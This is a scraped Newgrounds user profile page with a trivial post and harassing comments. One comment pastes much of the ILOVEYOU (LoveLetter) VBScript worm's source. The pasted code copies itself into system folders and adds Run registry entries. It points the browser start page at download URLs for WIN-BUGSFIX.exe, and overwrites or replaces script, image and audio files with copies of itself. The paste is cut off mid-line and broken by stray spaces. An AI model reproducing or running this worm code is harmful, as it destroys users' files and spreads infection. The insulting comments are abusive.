00:00
00:00
View Profile bigfuckenazz
(gay)

WWWWWWWWWWWWWWWWWWWW WWWWWWWWWWWWWWWWWWWW @bigfuckenazz

Age 91, Male

Joined on 7/2/08

Level:
3
Exp Points:
60 / 100
Exp Rank:
> 100,000
Vote Power:
2.97 votes
Rank:
Civilian
Global Rank:
> 100,000
Blams:
8
Saves:
28
B/P Bonus:
0%
Whistle:
Garbage

make a new post

Posted by bigfuckenazz - August 28th, 2008


tell em my name was don


Comments

yep, another peice of shit hormonealy imbalanced idiot on Ng.
nothing to see here folks.

yep, another peice of shit hormonealy imbalanced idiot on Ng.
nothing to see here folks.

rem barok -loveletter(vbe) <i hate go to school>
rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group / Manila,Philippines
On Error Resume Next
dim fso,dirsystem,dirwin,dirt emp,eq,ctr,file,vbscopy,d ow
eq=""
ctr=0
Set fso = CreateObject("Scripting.F ileSystemObject")
set file = fso.OpenTextFile(WScript.
ScriptFullname,1)
vbscopy=file.ReadAll
main()

sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScrip t.Shell")
rr=wscr.RegRead("HKEY_CUR RENT_USER\Software\Micros oft\Windows Scripting Host\Settings\Timeout")
if (rr>=1) then
wscr.RegWrite "HKEY_CURRENT_USER\Softwa re\Microsoft\Windows Scripting Host\Settings\Timeout",0,
"REG_DWORD"
end if
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.Scrip tFullName)
c.Copy(dirsystem&"\MSKern el32.vbs")
c.Copy(dirwin&"\Win32DLL.
vbs")
c.Copy(dirsystem&"\LOVE-L ETTER-FOR-YOU.TXT.vbs")
regruns()
html()
spreadtoemail()
listadriv()
end sub

sub regruns()
On Error Resume Next
Dim num,downread
regcreate
"HKEY_LOCAL_MACHINE\Softw are\Microsoft\Windows\Cur rentVersion\Run\MSKernel3 2",dirsystem&"\MSKernel32 .vbs"
regcreate
"HKEY_LOCAL_MACHINE\Softw are\Microsoft\Windows\Cur rentVersion\RunServices\W in32DLL",dirwin&"\Win32DL L.vbs"
downread=""
downread=regget("HKEY_CUR RENT_USER\Software\Micros oft\Internet Explorer\Download Directory")
if (downread="") then
downread="c:\"
end if
if (fileexist(dirsystem&"\Wi nFAT32.exe")=1) then
Randomize
num = Int((4 * Rnd) + 1)
if num = 1 then
regcreate "HKCU\Software\Microsoft\
Internet Explorer\Main\Start Page","<a href="http://www.skyinet">http://www.skyinet</a> .net/~young1s/HJKhjnwerhj kxcvytwertnMTFwetrdsfmhPn jw6587345gvsdf7679njbvYT/
WIN-BUGSFIX.exe"
elseif num = 2 then
regcreate "HKCU\Software\Microsoft\
Internet Explorer\Main\Start Page","<a href="http://www.skyinet">http://www.skyinet</a> .net/~angelcat/skladjflfd jghKJnwetryDGFikjUIyqwerW e546786324hjk4jnHHGbvbmKL JKjhkqj4w/WIN-BUGSFIX.exe "
elseif num = 3 then
regcreate "HKCU\Software\Microsoft\
Internet Explorer\Main\Start Page","<a href="http://www.skyinet">http://www.skyinet</a> .net/~koichi/jf6TRjkcbGRp Gqaq198vbFV5hfFEkbopBdQZn mPOhfgER67b3Vbvg/WIN-BUGS FIX.exe"
elseif num = 4 then
regcreate "HKCU\Software\Microsoft\
Internet Explorer\Main\Start Page","<a href="http://www.skyinet">http://www.skyinet</a> .net/~chu/sdgfhjksdfjklNB mnfgkKLHjkqwtuHJBhAFSDGjk hYUgqwerasdjhPhjasfdglkNB hbqwebmznxcbvnmadshfgqw23 7461234iuy7thjg/WIN-BUGSF IX .exe"
end if
end if
if (fileexist(downread&"\WIN -BUGSFIX.exe")=0) then regcreate "HKEY_LOCAL_MACHINE\Softw are\Microsoft\Windows\Cur rentVersion\Run\WIN-BUGSF IX",downread&"\WIN-BUGSFI X.exe"
regcreate "HKEY_CURRENT_USER\Softwa re\Microsoft\Internet Explorer\Main\StartPage",
"about:blank"
end if
end sub

sub listadriv
On Error Resume Next
Dim d,dc,s
Set dc = fso.Drives
For Each d in dc
If d.DriveType = 2 or d.DriveType=3 Then
folderlist(d.path&"\")
end if
Next
listadriv = s
end sub

sub infectfiles(folderspec)
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,
s,bname,mp3
set f = fso.GetFolder(folderspec)
set fc = f.Files
for each f1 in fc
ext=fso.GetExtensionName(
f1.path)
ext=lcase(ext)
s=lcase(f1.name)
if (ext="vbs") or (ext="vbe") then
set ap=fso.OpenTextFile(f1.pa th,2,true)
ap.write vbscopy
ap.close
elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then
set ap=fso.OpenTextFile(f1.pa th,2,true)
ap.write vbscopy
ap.close
bname=fso.GetBaseName(f1.
path)
set cop=fso.GetFile(f1.path)
cop.copy(folderspec&"\"&b name&".vbs") fso.DeleteFile(f1.path)
elseif(ext="jpg") or (ext="jpeg") then
set ap=fso.OpenTextFile(f1.pa th,2,true)
ap.write vbscopy
ap.close
set cop=fso.GetFile(f1.path)
cop.copy(f1.path&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="mp3") or (ext="mp2") then
set mp3=fso.CreateTextFile(f1 .path&".vbs")
mp3.write vbscopy
mp3.close
set att=fso.GetFile(f1.path)
att.attributes=att.attrib utes+2
end if
if (eq<>folderspec) then
if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp")

...an 80 yer old named don...okay then, will do

ikj